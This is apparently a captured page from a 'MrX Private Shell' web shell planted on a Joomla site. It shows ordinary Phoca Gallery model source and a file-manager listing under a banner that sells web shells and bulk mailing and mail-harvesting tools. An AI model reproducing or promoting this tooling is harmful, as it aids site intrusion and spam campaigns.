__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
 * @package		Joomla.Framework
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 *
 * @component Phoca Component
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License version 2 or later;
 */
defined('_JEXEC') or die();
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Factory;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Object\CMSObject;

jimport('joomla.application.component.modeladmin');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
phocagalleryimport('phocagallery.file.filefolderlist');
setlocale(LC_ALL, 'C.UTF-8', 'C');

class PhocaGalleryCpModelPhocaGalleryM extends AdminModel
{
	protected $option 			= 'com_phocagallery';
	protected $text_prefix		= 'com_phocagallery';
	public 		$typeAlias 		= 'com_phocagallery.phocagallerym';

	protected $imageCount		= 0;
	protected $categoryCount	= 0;
	protected $firstImageFolder	= '';

	function __construct() {
		$this->imageCount 		= 0;
		$this->categoryCount 	= 0;
		$this->firstImageFolder	= '';
		parent::__construct();
	}

	public function getForm($data = array(), $loadData = true) {

		$form 	= $this->loadForm('com_phocagallery.phocagallerym', 'phocagallerym', array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form)) {
			return false;
		}
		return $form;
	}

	protected function canDelete($record)
	{
		$user = Factory::getUser();

		if (!empty($record->catid)) {
			return $user->authorise('core.delete', 'com_phocagallery.phocagalleryimg.'.(int) $record->catid);
		} else {
			return parent::canDelete($record);
		}
	}

	protected function canEditState($record)
	{
		$user = Factory::getUser();

		if (!empty($record->catid)) {
			return $user->authorise('core.edit.state', 'com_phocagallery.phocagalleryimg.'.(int) $record->catid);
		} else {
			return parent::canEditState($record);
		}
	}

	public function getTable($type = 'PhocaGallery', $prefix = 'Table', $config = array())
	{
		return Table::getInstance($type, $prefix, $config);
	}



	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = Factory::getApplication()->getUserState('com_phocagallerym.edit.phocagallerym.data', array());

		if (empty($data)) {
			$data = $this->getItem();
		}

		return $data;
	}








	/*function &getData() {
		$this->_initData();
		return $this->_data;
	}*/

	/*
	 * - If we add only image, then the thumbnail creation will be run
	 * - If we add folder with image, we need to know the first image in the folder
	 *   to run thumbnail creating (PhocaGalleryFileThumbnail::getOrCreateThumbnail())
	 */
	function setFirstImageFolder($filename) {
		$this->firstImageFolder = $filename;
	}

	function setImageCount($count) {
		$this->imageCount = $this->imageCount + $count;
	}

	function setCategoryCount($count) {
		$this->categoryCount = $this->categoryCount + $count;
	}


	function save($data) {
		$app	= Factory::getApplication();

		$foldercid	= Factory::getApplication()->input->get('foldercid', array(), 'raw');
		$cid	= Factory::getApplication()->input->get('cid', 0, 'raw');
		$data	= Factory::getApplication()->input->get('jform', array(0), 'post', 'array');


		if(isset($foldercid)) {
			$data['foldercid']	= $foldercid;
		} else {
			$data['foldercid']	= array();
		}
		if(isset($cid)) {
			$data['cid']		= $cid;
		} else {
			$data['cid']	= array();
		}

		if (isset($data['catid']) && (int)$data['catid'] > 0) {
			$data['catid']		= (int)$data['catid'];
		} else {
			$data['catid']		= 0;
		}

		//Params
		$params				= ComponentHelper::getParams( 'com_phocagallery' );
		$clean_thumbnails 	= $params->get( 'clean_thumbnails', 0 );

		//Get folder variables from Helper
		$path 			= PhocaGalleryPath::getPath();
		$origPath 		= $path->image_abs;
		$origPathServer = str_replace('\\', '/', $path->image_abs);

		// Cache all existing categories
		$query = 'SELECT id, title, parent_id'
	    . ' FROM #__phocagallery_categories' ;
		$this->_db->setQuery( $query );
	    $existingCategories = $this->_db->loadObjectList() ;

		// Cache all existing images
		$query = 'SELECT catid, filename'
	    . ' FROM #__phocagallery';
		$this->_db->setQuery( $query );
	    $existingImages = $this->_db->loadObjectList() ;

		$result = new stdClass();
		$result->category_count = 0;
		$result->image_count 	= 0;
		$i = 1;

		// Category will be saved - Images will be saved in recursive function
		if (isset($data['foldercid'])) {
			foreach ($data['foldercid'] as $foldername) {
				if (strlen($foldername) > 0) {
					$fullPath 		= $path->image_abs.$foldername;
					$result 		= $this->_createCategoriesRecursive( $origPathServer, $fullPath, $existingCategories, $existingImages, $data['catid'], $data );
				}
			}
		}

		// Only Imagees will be saved
		if (isset($data['cid']) && !empty($data['cid'])) {
			foreach ($data['cid'] as $filename) {
				if ($filename) {
					$ext = strtolower(File::getExt($filename));
					// Don't create thumbnails from defined files (don't save them into a database)...
					$dontCreateThumb	= PhocaGalleryFileThumbnail::dontCreateThumb ($filename);
					if ($dontCreateThumb == 1) {
						$ext = '';// WE USE $ext FOR NOT CREATE A THUMBNAIL CLAUSE
					}
					if ($ext == 'jpg' || $ext == 'png' || $ext == 'gif' || $ext == 'jpeg' || $ext == 'webp') {

						$row = $this->getTable('phocagallery');

						$datam = array();
						$datam['published']		= $data['published'];
						$datam['catid']			= $data['catid'];
						$datam['approved']		= $data['approved'];
						$datam['language']		= $data['language'];
						$datam['filename']		= $filename;

						if ($data['title']	!= '') {

							$datam['title']		= $data['title'];
							$datam['title']		= str_replace('{###}', str_pad((string)$i, 3, '0', STR_PAD_LEFT), $datam['title']);
							$datam['title']		= str_replace('{##}', str_pad((string)$i, 2, '0', STR_PAD_LEFT), $datam['title']);
							$datam['title']		= str_replace('{#}', $i, $datam['title']);
						} else {
							$datam['title']		= PhocaGalleryFile::getTitleFromFile($filename);
						}

						if ($data['alias']	!= '') {
							$datam['alias']		= $data['alias'];
						} else {
							$datam['alias']		= $datam['title'];//PhocaGalleryText::getAliasName($datam['title']);
						}

						$datam['imgorigsize'] 	= PhocaGalleryFile::getFileSize($datam['filename'], 0);
						$datam['format'] 		= PhocaGalleryFile::getFileFormat($datam['filename']);


						// Geo
						phocagalleryimport('phocagallery.geo.geo');
						$coords = PhocaGalleryGeo::getGeoCoords($datam['filename']);
						$datam['longitude'] = $coords['longitude'];
						$datam['latitude'] = $coords['latitude'];
						if ($datam['latitude'] != '' && $datam['longitude'] != ''){
							$datam['zoom'] = PhocaGallerySettings::getAdvancedSettings('geozoom');
						}



						// Save
						// Bind the form fields to the Phoca gallery table
						if (!$row->bind($datam)) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}

						// Create the timestamp for the date
						$row->date = gmdate('Y-m-d H:i:s');

						// if new item, order last in appropriate group

						if (!$row->id) {
							$where = 'catid = ' . (int) $row->catid ;
							$row->ordering = $row->getNextOrder( $where );
						}


						// Make sure the Phoca gallery table is valid
						if (!$row->check()) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}

						// Store the Phoca gallery table to the database
						if (!$row->store()) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}
						$result->image_count++;
						$i++;
					}
				}

			}
			$this->setImageCount($result->image_count);

		}


		// - - - - - - - - - - - - - - - - -
		//Create thumbnail small, medium, large
		//file - abc.img, file_no - folder/abc.img
		//Get folder variables from Helper
		//	$refresh_url 	= 'index.php?option=com_phocagallery&task=phocagalleryimg.thumbs';

		$msg = $this->categoryCount. ' ' .Text::_('COM_PHOCAGALLERY_CATEGORIES_ADDED') .', '.$this->imageCount. ' ' . Text::_('COM_PHOCAGALLERY_IMAGES_ADDED');
		$app->enqueueMessage($msg);
		$app->redirect(Route::_('index.php?option=com_phocagallery&view=phocagalleryimgs&countimg='.$this->imageCount.'&imagesid='.md5(time()), false));

		// Only image without folder was added to the system
		if (isset($row->filename) && $row->filename != '') {
			$fileNameThumb 	= $row->filename;
		} else if ($this->firstImageFolder != '') {
			$fileNameThumb	= $this->firstImageFolder;
		} else {
			$fileNameThumb == '';
		}

		if ($fileNameThumb != '') {

			$refresh_url 	= 'index.php?option=com_phocagallery&view=phocagalleryimgs&countimg='.$this->imageCount;
			$fileThumb 		= PhocaGalleryFileThumbnail::getOrCreateThumbnail($fileNameThumb, $refresh_url, 1, 1, 1);
		}

		//Clean Thumbs Folder if there are thumbnail files but not original file
		if ($clean_thumbnails == 1) {
			PhocaGalleryFolder::cleanThumbsFolder();
		}
		// - - - - - - - - - - - - - - - - -

		return true;

	}

	protected function _getCategoryId( &$existingCategories, &$title, $parentId ) {
	    $id = -1 ;
		$i 	= 0;
		$count = count($existingCategories);
		while ( $id == -1 && $i < $count ) {

			if ( $existingCategories[$i]->title == $title &&
			     $existingCategories[$i]->parent_id == $parentId ) {
				$id = $existingCategories[$i]->id ;
			}
			$i++;
		}
		return $id ;
	}

	protected function _ImageExist( &$existing_image, &$filename, $catid ) {
	    $result = false ;
		$i 		= 0;
		$count = count($existing_image);

		while ( $result == false && $i < $count ) {
			if ( $existing_image[$i]->filename == $filename &&
			     $existing_image[$i]->catid == $catid ) {
				$result = true;
			}
			$i++;
		}
		return $result;
	}

	protected function _addAllImagesFromFolder(&$existingImages, $category_id, $fullPath, $rel_path, $data = array()) {
		$count = 0;
		$i = 1;
		$fileList = Folder::files( $fullPath );
		natcasesort($fileList);
		// Iterate over the files if they exist
		//file - abc.img, file_no - folder/abc.img

		if ($fileList !== false) {
			foreach ($fileList as $filename) {
			    $storedfilename	= ltrim(str_replace('\\', '/', Path::clean($rel_path . '/'. $filename )), '/');
				$ext = strtolower(File::getExt($filename));
				// Don't create thumbnails from defined files (don't save them into a database)...
				$dontCreateThumb	= PhocaGalleryFileThumbnail::dontCreateThumb ($filename);
				if ($dontCreateThumb == 1) {
					$ext = '';// WE USE $ext FOR NOT CREATE A THUMBNAIL CLAUSE
				}
				if ($ext == 'jpg' || $ext == 'png' || $ext == 'gif' || $ext == 'jpeg' || $ext == 'webp') {
					if (File::exists($fullPath. '/'. $filename) &&
					    substr($filename, 0, 1) != '.' &&
						strtolower($filename) !== 'index.html' &&
						!$this->_ImageExist($existingImages, $storedfilename, $category_id) ) {

						$row = $this->getTable('phocagallery');

						$datam = array();
						$datam['published']		= $data['published'];
						$datam['catid']			= $category_id;
						$datam['filename']		= $storedfilename;
						$datam['approved']		= $data['approved'];
						$datam['language']		= $data['language'];
						if ($data['title']	!= '') {
							$datam['title']		= $data['title'];

							$datam['title']		= str_replace('{###}', str_pad((string)$i, 3, '0', STR_PAD_LEFT), $datam['title']);
							$datam['title']		= str_replace('{##}', str_pad((string)$i, 2, '0', STR_PAD_LEFT), $datam['title']);
							$datam['title']		= str_replace('{#}', $i, $datam['title']);
						} else {
							$datam['title']		= PhocaGalleryFile::getTitleFromFile($filename);
						}

						if ($data['alias']	!= '') {
							$datam['alias']		= $data['alias'];
						} else {
							$datam['alias']		= $datam['title'];//PhocaGalleryText::getAliasName($datam['title']);
						}
						$datam['imgorigsize'] 	= PhocaGalleryFile::getFileSize($datam['filename'], 0);
						$datam['format'] 		= PhocaGalleryFile::getFileFormat($datam['filename']);
						// Geo
						phocagalleryimport('phocagallery.geo.geo');
						$coords = PhocaGalleryGeo::getGeoCoords($datam['filename']);
						$datam['longitude'] = $coords['longitude'];
						$datam['latitude'] = $coords['latitude'];
						if ($datam['latitude'] != '' && $datam['longitude'] != ''){
							$datam['zoom'] = PhocaGallerySettings::getAdvancedSettings('geozoom');
						}

						// Save
						// Bind the form fields to the Phoca gallery table
						if (!$row->bind($datam)) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}

						// Create the timestamp for the date
						$row->date = gmdate('Y-m-d H:i:s');

						// if new item, order last in appropriate group
						if (!$row->id) {
							$where = 'catid = ' . (int) $row->catid ;
							$row->ordering = $row->getNextOrder( $where );
						}

						// Make sure the Phoca gallery table is valid
						if (!$row->check()) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}

						// Store the Phoca gallery table to the database
						if (!$row->store()) {
							$this->setError($this->_db->getErrorMsg());
							return false;
						}

						if ($this->firstImageFolder == '') {
							$this->setFirstImageFolder($row->filename);
						}

						$image 				= new CMSObject();
					    $image->filename 	= $storedfilename ;
					    $image->catid 		= $category_id;
					    $existingImages[] 	= &$image ;
						$count++ ;
						$i++;
					}
				}
			}
		}

	//	$this->setImageCount($count);
		return $count;
	}

	protected function _createCategoriesRecursive(&$origPathServer, $path, &$existingCategories, &$existingImages, $parentId = 0, $data = array() ) {

		$totalresult = new stdClass();
		$totalresult->image_count 		= 0 ;
		$totalresult->category_count	= 0 ;

		$categoryName 	= basename($path);
		$id 			= $this->_getCategoryId( $existingCategories, $categoryName, $parentId ) ;
		$category 		= null;

		// Full path: eg. "/home/www/joomla/images/categ/subcat/"
		$fullPath	   	= str_replace('\\', '/', Path::clean('/' . $path));
		// Relative path eg "categ/subcat"
		$relativePath 	= str_replace($origPathServer, '', $fullPath);

		// Category doesn't exist
		if ( $id == -1 ) {
		  $row = $this->getTable('phocagalleryc');
		  $row->published 	= $data['published'];
		  $row->approved	= $data['approved'];
		  $row->language	= $data['language'];
		  $row->parent_id 	= $parentId;
		  $row->title 		= $categoryName;

		  // Create the timestamp for the date
		  $row->date 		= gmdate('Y-m-d H:i:s');
		 // $row->alias 		= PhocaGalleryText::getAliasName($categoryName);
		  $row->userfolder	= ltrim(str_replace('\\', '/', Path::clean($relativePath )), '/');
		  $row->ordering 	= $row->getNextOrder( "parent_id = " . $this->_db->Quote($row->parent_id) );

		  if (!$row->check()) {

			throw new Exception($db->stderr('Check Problem'), 500);
		  }

		  if (!$row->store()) {

			throw new Exception($db->stderr('Store Problem'), 500);
		  }

		  $category 			= new CMSObject();
		  $category->title 		= $categoryName ;
		  $category->parent_id 	= $parentId;
		  $category->id 		= $row->id;
		  $totalresult->category_count++;
		  $id = $category->id;
		  $existingCategories[] = &$category ;
		  $this->setCategoryCount(1);//This subcategory was added
		}



		// Add all images from this folder
		$totalresult->image_count += $this->_addAllImagesFromFolder( $existingImages, $id, $path, $relativePath, $data );
		$this->setImageCount($totalresult->image_count);

		// Do sub folders
		$parentId 		= $id;
		$folderList 	= Folder::folders( $path, $filter = '.', $recurse = false, $fullpath = true, $exclude = array('thumbs') );
		// Iterate over the folders if they exist
		if ($folderList !== false) {
			foreach ($folderList as $folder) {
				//$this->setCategoryCount(1);//This subcategory was added
				$folderName = $relativePath .'/' . str_replace($origPathServer, '', $folder);
				$result = $this->_createCategoriesRecursive( $origPathServer, $folder, $existingCategories, $existingImages, $id , $data);
				$totalresult->image_count += $result->image_count ;
				$totalresult->category_count += $result->category_count ;
			}
		}
		return $totalresult ;
	}


	/*
	 * Images
	 */
	function getFolderState($property = null) {
		static $set;

		if (!$set) {
			$folder = Factory::getApplication()->input->get( 'folder', '', '', 'path' );
			$this->setState('folder', $folder);

			$parent = str_replace("\\", "/", dirname($folder));
			$parent = ($parent == '.') ? null : $parent;
			$this->setState('parent', $parent);
			$set = true;
		}
		return parent::getState($property);
	}

	function getImages() {
		$refreshUrl = 'index.php?option=com_phocagallery&view=phocagalleryi&tmpl=component';
		$list = PhocaGalleryFileFolderList::getList(0,0,0,$refreshUrl);
		return $list['Images'];
	}

	function getFolders() {
		$refreshUrl = 'index.php?option=com_phocagallery&view=phocagalleryi&tmpl=component';
		$list = PhocaGalleryFileFolderList::getList(0,0,0,$refreshUrl);
		return $list['folders'];
	}

}
?>

Filemanager

Name Type Size Permission Actions
fields Folder 0775
forms Folder 0775
index.html File 44 B 0664
phocagalleryc.php File 70.43 KB 0664
phocagalleryco.php File 3.46 KB 0664
phocagallerycoimg.php File 3.48 KB 0664
phocagallerycoimgs.php File 5.86 KB 0664
phocagallerycos.php File 5.58 KB 0664
phocagallerycs.php File 11.76 KB 0664
phocagalleryd.php File 2.11 KB 0664
phocagalleryef.php File 7.65 KB 0664
phocagalleryefs.php File 7.13 KB 0664
phocagalleryf.php File 2.62 KB 0664
phocagalleryfb.php File 3.6 KB 0664
phocagalleryfbs.php File 4.22 KB 0664
phocagalleryi.php File 2.05 KB 0664
phocagalleryimg.php File 24.7 KB 0664
phocagalleryimgs.php File 6.79 KB 0664
phocagallerylinkimg.php File 5.04 KB 0664
phocagallerym.php File 16.94 KB 0664
phocagalleryra.php File 7.25 KB 0664
phocagalleryraimg.php File 7.54 KB 0664
phocagalleryt.php File 18.37 KB 0664
phocagallerytag.php File 2.57 KB 0664
phocagallerytags.php File 4.07 KB 0664
phocagalleryuser.php File 5.54 KB 0664
phocagalleryusers.php File 8.33 KB 0664
Filemanager